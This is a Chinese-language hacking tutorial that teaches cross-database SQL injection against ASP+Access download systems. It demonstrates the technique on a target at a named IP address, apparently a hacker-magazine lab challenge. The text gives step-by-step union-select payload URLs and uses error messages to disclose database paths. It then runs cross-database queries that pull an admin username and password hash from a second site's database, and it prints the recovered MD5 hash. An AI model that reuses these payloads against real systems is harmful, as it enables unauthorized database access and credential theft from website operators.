大家還記得mssql(Windows平台上強大的數據庫平台)的跨庫查詢吧,其實在access中也可以實現2個數據之間的交叉查詢。下面我就給大家介紹下Access的跨庫查詢。
首先讓我們看看在Access裡是怎樣實現對mdb文件進行查詢的,我們隨便創建個空數據庫,對數據庫D:\daos\db\daidalos.mdb裡的admin表的內容進行查詢,SQL語句為:
SELECT * from admin in "D:\daos\db\daidalos.mdb"
查詢後,成功返回目標數據庫裡表admin表裡的內容:
在實際的ASP注射中,要同時進行2個select,如果大家熟悉PHP+MySQL(和PHP搭配之最佳組合)注射的話,應該很容易想到使用union進行聯合查詢,在Access裡我們照樣可以使用,使用union查詢還有一個好處就是不要去對數據進行一個一個字符的去猜,而可以象MySQL(和PHP搭配之最佳組合)+PHP注射一樣直接暴出字段裡的數據(具體的mix已經寫了一篇詳細的文章)。從上面可以看出來要實現跨庫查詢必修要下面2個條件:
1.使用union查詢必須知道前一個select裡表的字段數
2.必須知道目標數據庫的所在位置,絕對路徑。
條件1我們可以根據提示錯誤信息來手工猜解,也可以通過程序自動實現。
條件2 這個是個難點,不過我們可以通過利用“Access暴庫”來實現,有人會說既然可以知道數據位置,那不直接下載得拉,其實不然,現在的數據庫一般防止下載,有的根本不web目錄下。
在黑防第四輪實驗室的第一關,就是設置的2個ASP+Access的下載系統,一個是雨點下載系統,一個是盜帥下載系統。 經過測試 盜帥下載系統可以暴出數據庫但是不讓下載,似乎也沒什麼地方可以注射,而雨點下載系統就是漏洞百出了,數據庫可以暴且可以直接下載,還可以注射。不過雨點的後台很簡單,沒什麼可以利用的地方,我們的目標就放在得到盜帥後台密碼上了,下面我就給大家演示下,通過雨點系統的注射點對盜帥系統的跨庫查詢而得到盜帥的後台密碼:
我們得知雨點系統的list.ASP可以注射,我們先去要得到union裡的數據表字段數,提交:
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%201%20from%20userinfo
返回:
Microsoft JET Database Engine 錯誤 '80040e14'
在聯合查詢中所選定的兩個數據表或查詢中的列數不匹配。
/yddown/list.ASP,行51
字段不對,我寫了個perl腳本自動猜,(代碼見後)
當我們提交:
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%201,2,3%20from%20userinfo
無錯誤返回:
我們已經得到字段數了,並且我們可以得到在字段1的我位置,可以顯示我們查詢的數據。
現在還就差盜帥的數據庫位置了,簡單我們暴庫,提交:
http://219.237.81.46/dsdown%5cregs.ASP
成功返回路徑:
Microsoft JET Database Engine 錯誤 '80004005'
'D:\111\db\kljdsld.asa'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務器。
/dsdown/db/user.ASP,行6
(注意:這樣得到的的路徑不一定是“完整”的,真正的路徑為:D:\111\dsdown\db\kljdsld.asa)
下面我們跨庫,構造url如下:
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1
上面的語句是,union查詢數據D:\111\db\kljdsld.asa裡表admin裡id=1的字段admin的數據,如果成功將直接暴出後台管理的用戶名:
得到用戶名為admin 我們接著暴密碼:
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1
如圖:
得到密碼為32位的md5加密的hash:77e6cbb3f9468eadb655ae6826357922,我們跨庫查詢成功,這裡我只是為大家演示下跨庫查詢,黑防那裡就不管咯。
小結
本文主要是給大家介紹了2個非常有用的方法,第1 我們在ASP注射時不一頂要一個個字符去猜,那樣遇到中文的很麻煩,直接用union替代數據可以直接暴出數據,不關是中文還是特殊字符,都可以一步到位,第2 就是跨庫了,使用很靈活,可以讓你在滲透時,有意想不到的收獲。